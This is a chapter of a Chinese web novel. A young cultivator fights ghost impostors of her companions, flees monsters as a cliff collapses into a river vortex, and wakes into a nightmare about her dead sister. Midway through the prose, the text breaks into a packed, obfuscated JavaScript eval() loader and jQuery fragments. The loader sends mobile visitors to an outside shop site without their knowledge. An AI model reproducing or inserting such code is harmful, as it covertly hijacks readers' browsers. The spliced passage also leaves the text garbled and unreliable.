元恕想尖叫,想哀嚎,想蹦起来就跑,但她什么都不能做,因为人已经吓懵圈了。
她稀里糊涂地转身,目光依次划过那一张张惨白惨白的脸,最后停在苏日娜身上,咽了口唾沫,问:“苏捕快,你好好地推我做什么?”
“我?”苏日娜脚步没停,却愣了一下,“没有,我碰不到你。”
这话把杜子腾吓一跳,他趁机一把抓住韩梦真的胳膊,声如蚊呐:“什么意思?有别的东西混进来了?师姐,我有点害怕。”
元恕:“……”
她原来是些慌乱,但看到杜子腾如此厚颜无耻的举动,天灵盖都清醒了不少。
呸,不要脸的东西!
元恕立刻端起架子,一派风轻云淡道:“修行之人正气凛然,妖邪难侵,你有什么好怕的?男女有别,还不快快放手。”
杜子腾依旧死皮赖脸,吊在韩梦真胳膊上,越抓越紧,矫揉造作道:“老祖宗,你快别说了,我更害怕了。”
元恕:“……”
元恕又双叒叕想上他的身了。
这种贱人不孤独终老,都对不起他那身贱贱的劲儿!
所幸有林琅直接把人掰开,怼到一边,一本正经道:“你害怕归害怕,但离师姐远点,别妨碍师姐待会儿拔剑。”
他义正辞严,表现得太过正直,以至于元恕品了一下,才回味过来这是句赤裸|裸的嘲讽。
杜子腾顿时就炸了:“小师姐乐意护着我,你不服?”
……
非常顺理成章地,两位在这鬼气森森的破地方开始了争风吃醋,互扯头花,韩梦真在中间焦头烂额地调停,苏日娜以一副过来人的姿态,笑盈盈地看着。
剩下元恕和霹雳两个局外人,面面相觑,一言难尽。
总之,方才阴恻恻的气氛被破坏得一干二净,元恕悬起来的心,稳稳地放了回去,她想刚才多半真是错觉。
这时,冷月如刀,破开厚重的铅云,从怪异扭曲的枝桠间,渗透出来,撒下一片碎银似的白光,正好将众人笼罩。
那一瞬间,元恕一口气差点没抽上来。
只见这荒芜的地面上,竟然一条影子都没有!
合着大家伙都不是人!!!
“啊……”元恕把脱口而出的尖叫硬生生吞了回去,但依旧好死不死地冒出个头。
韩梦真等人齐刷刷转过头,煞白着脸,眼珠子动也不动地盯过来。
元恕想都没来得及想,抡起大袖就甩向对面,她本能反应的动作又狠又凶,袖摆拉直甚至能听到清越的破空声。
前头的“韩梦真”和“苏日娜”被扫得退让两步,“林琅”、“杜子腾”和“霹雳”猛地张开尖利的爪子,要跃起扑杀。
而电光火石间,元恕已经握住两截从身体里冒出来的铁链,手腕灵活地一扔一扯,那团看似软趴趴的锁链便活过来似的。
另一端明明是空无一物,却仿佛天生有灵,裹挟着猎猎的风声,把几个冒牌货左三圈,右三圈盘了个结结实实。
元恕微抿着唇,或许她自己都不知道,其实此刻她脸上的神情,与恐惧毫不沾边,甚至有些许的漠然。
她咬牙质问:“你们把其他人藏哪儿去了?”
可这几个冒牌货被打回原形后就只剩下作为鬼的恶念,一个个迫不及待地冲元恕张开了嘴。那嘴张得极其夸张,说咧到耳根子都毫不为过,张开的瞬间,仿佛上半个脑袋都朝后掀去。
“我|日!”元恕没忍住骂了一声。
一个没控制住,她绷紧细瘦的十指,向两边一扯,锁链绞动,顿时收缩,死死勒住缠在中心的几个“人”。
它们张大嘴,无声尖叫,然后“嘭”地溃散,崩成一片黑雾,消失得无影无踪。
见状,元恕紧绷的肩膀一垮,松了口气,末了,低头有些难以置信又有些惊喜地看着自己的手,这双手女工刺绣一概不行,没想到杀鬼这么利索。
可惜在书外真正的世界里,没有神,也没有鬼……她握了握有些颤抖的左手,大拇指习惯性掐住食指第二根指节,长长地呼出一口浊气,慢慢平复下来。
“区区小鬼,何足挂齿,洒洒水就过去了。”元恕双手叉腰,不屑地嗤笑一声,没有旁人在场,也不妨碍她显摆显摆自己的高手风范。
然而,林间突然间刮起一阵怪风,张牙舞爪的枯树左摇右晃,嘎吱嘎吱的,混杂在沙沙的雨声里,显得潮湿又诡异。
元恕一缩脖子,警惕地左顾右盼。
紧接着,一双双绿油油的眼睛,次第亮起,须臾间,便仿佛置身满山鬼火之中。
元恕:“…………”
她的瞳孔瞬间紧缩,可怖的寒意席卷而来,刺入骨髓的刹那,也令她马上就意识到危险来自何处。
啊啊啊啊啊啊此时不跑,更待何时?
元恕拔腿就跑,几乎是闭着眼,夺路狂奔,背后紧跟翻涌着黑色潮水般的影子,全是些扭曲诡异的怪物,像是变异的枯树,又像是腿脚乱长的蜘蛛。
它们张着黑洞洞的大嘴,明明什么声音也没有,但仿佛就是能听到那种凄厉的、绝望的惨叫。
嘎吱、嘎吱……
嘎吱嘎吱嘎吱嘎吱!!!
声音越来越急促,它们移动得也速度越来越快,争先恐后地以一种万分扭曲的姿势,趴伏在地,你踩断我的腿,我碾碎你的头,互相倾轧着往前滚滚涌动。
元恕只不经意看了一眼,想挖了自己那对招子的心都有了。
阿姐救我啊啊啊啊啊啊!!!!
元恕一边在心里疯狂惨叫,一边拔腿狂奔。
冲出一段距离后,眼前仍然是枝桠横生的树林,黑漆漆地向着远处延伸,几乎看不到尽头。
这是要让她跑到力竭而死吗?
颠婆婆何至于此!!!
元恕欲哭无泪,所幸她从来都不是坐以待毙的性子,深吸一口气,她猛地刹住脚步,转过身,准备跟这些魑魅魍魉,拼个鱼死网破。
她就不信了,颠婆婆还能让她死在这儿不成!
轰隆!!!
天边忽然滚来一道震耳欲聋的闷雷。
元恕诧异地抬头,黑云翻滚碰撞间,掩映着一道无比高大的身影,像是巨人俯瞰蝼蚁,旋即,雪银的闪电,犹如一颗倒悬的巨树,枝繁叶茂,狂蛇乱舞,从九霄云端直劈而下。
落脚点正是元恕所在的地方。
霹雳!!!
虽然看不清脸,但闪电带来的熟悉感让元恕一下就想起那个自称“霹雳神威荡魔真君”的邋遢货。
元恕夺路狂奔,他之前说他是神仙,她还不信,这下显出巍峨法相,直追着她劈,要不是往日无怨近日无仇,元恕都要怀疑他爹的是故意整她!
“我问候你祖宗十八代……”瀑布般汹涌的闪电劈下来的一刹那,元恕骂得歇斯底里,幸好她身手灵活躲得飞快,脚跟一蹬就蹦出老远,不然保证外焦里嫩,馋哭领居家的小孩儿。
紧随其后,她听到一点细微的断裂声,好像有什么物体表面裂开了蜘蛛网似的缝隙。
噼里啪啦的响动越来越多,越来越大,元恕低头一看,竟是地面左右横贯出一道骇人的伤口。
随即,整个横出去、悬在大江上的香魂涯轰然断裂!
无数碎石、无数枯木,群星陨落般坠向漆黑的江面,下一瞬,风平浪静的水面骤起波澜,旋转出一个无底洞似的深渊巨口。
“啊啊啊啊啊啊啊啊啊啊啊——”
尖叫声几乎不受控制地被从喉咙深处逼了出来,血液疯狂向头顶逆流,硬生生将人推入近乎死亡的边界。恰好这个时候,元恕的余光瞥见林琅等人,顿时死要面子地把尖叫给憋了回去,顺便吃了一肚子的腥风。
幸好这会儿大家都在尖叫,情况紧急也没人注意到这个小小的插曲。
元恕向天抛出锁链,企图抓住点什么,然而江面上的漩涡实在诡异,连这来历神秘的宝贝也无法抵抗它庞大的吸引力,扑腾两下就软哒哒地坠了回来。
霹雳也是。
这个混账玩意儿刚还在云端,化出巨大的法相,耀武扬威,大劈特劈,现在也跟暴风雨里的蚂蚱似的,只能手忙脚乱地瞎扑腾。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633708|143676||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
霹雳数次施法,自救无果,转头盯上韩梦真,嘶吼道:“你他爹的不是剑修吗?飞剑有灵,赶紧试试御剑啊!!!”
不远处的韩梦真却像是没听到般脸色苍白,双目空洞,一副恐惧到了极点的模样。
元恕心里冒出一个有些荒谬的猜测——韩梦真不会是恐高吧?
“闭嘴!”不等师姐回答,林琅已率先怼了霹雳一脸,可惜杜子腾那个碎嘴子不在,否则能用唾沫星子淹死霹雳。
轰!!!
元恕没等到韩梦真的御剑,便见江面掀起数丈高的巨浪,宛如城墙坍塌一样,不偏不倚地砸她脑门上。
元恕被这一“大耳刮子”扇得瞬间失去意识,眼睛一闭,恍惚间似乎有什么东西托住了她,像一张无论从多高的地方坠落都会将她稳稳接住的罗网。
意识消散又恢复,仿佛回到了家中,她缩在被窝里,原本睡得很沉,慢慢被一些动静弄醒了。
她在深夜的寂静中,听到“呜呜”的哭泣声,像女子细细的哽咽,又像幼猫凄惨的哀叫。
等了半晌,哭声骤然放大。
元恕在黑暗里猛地睁开眼,被窝底下的身体恨不得缩成一团,她仔细听着,越听越四肢冰冷,头皮发麻。
啊啊啊啊啊啊那个声音是从她床底下传出来的!!!
就好像有个人贴在床板下,贴在她的耳边,不停地哀哭,不停地啜泣。
“呜呜呜呜呜呜呜呜呜呜——”
当床底下的哭声倏地拔高,元恕忍无可忍,嗖一下就从被窝里弹了出去,她连看都不敢看,径直往房门口冲,结果被门槛一绊,整个人向前载倒。
手底下传来冰冷滑腻的触感。
刹那间,她差点心脏骤停。
慌乱地低头一看,那赫然是一张死不瞑目的脸——眼球混红,瞪得几乎要跳出眼眶,脸上的肌肉扭曲打结,四肢反转扣着地面,像鬼画里龇牙咆哮的蜘蛛怪物。
是那个在大帝庙难产而死的孕夫!
她手上沾着黄黄绿绿的羊水和他的……血!!!
“啊啊啊啊啊啊啊!”元恕噌地弹跳起来,失去理智般,埋头胡乱狂奔,清瘦的腕骨却被一只冷冰冰的手牢牢抓住。
寒意从触点蔓延开来,一点点地渗到心脏里。
元恕不由自主地打了个寒战,呼吸一窒,而后又颤颤巍巍长出了一口气。
拉住她的人面容清秀,杏眼含光,自有一分属于山野儿女的灵气与活力,是她的阿姐——宋意诚。
“姐,你吓死我了。”元恕真的被吓惨了,说话都带着哭腔。
宋意诚揉了揉妹妹的头发,轻声询问:“发生什么了?把你吓成这样。”
元恕瞳孔放大,惊惧交加,颤声道:“有人死了,我看到有人死了,就在我面前!我好害怕,他的尸体就在那里!”
“哪里有死人?宋意诚低头询问。
兴许是夜色太暗,以至于衬得她原本蜂蜜般莹润的脸庞没什么血色,甚至也没有了生气,乍一看,让元恕莫名有些心惊肉跳。
“阿姐,你的手怎么这么冷?”元恕哆哆嗦嗦地问。
宋意诚褐色的眼珠一眨不眨地看着她,嘴角慢慢向两边咧开,道:“因为我已经死了。”
语毕,她歪了一下脑袋,身体轻飘飘地倾倒,元恕下意识伸手去接住,垂眸便对上一张布满黑色裂纹的惨白脸庞。
平日里那张脸端正秀丽,嘴角总是噙着飒然的微笑,宛如崇山峻岭中抽枝摇曳的荆条,此时满脸却罩着蛛网似的可怕纹路,眼球直勾勾地凸起,直勾勾地看着元恕。
再往下看,她的肚子也大大地裂开,鲜血长流,红红白白的五脏六腑拖了一地。
宋意诚死了???
阿姐死了……
死了死了死了死了死了!!!!!!!
“啊啊啊啊啊啊啊啊啊——” 元恕哀叫一声,突然地,一下子就崩溃了,竟像是被毒蝎子蛰到一般,猛地甩开宋意诚的尸体,站起身,不管不顾地往外冲去。
然后,她撞入了一个温温凉凉的怀抱。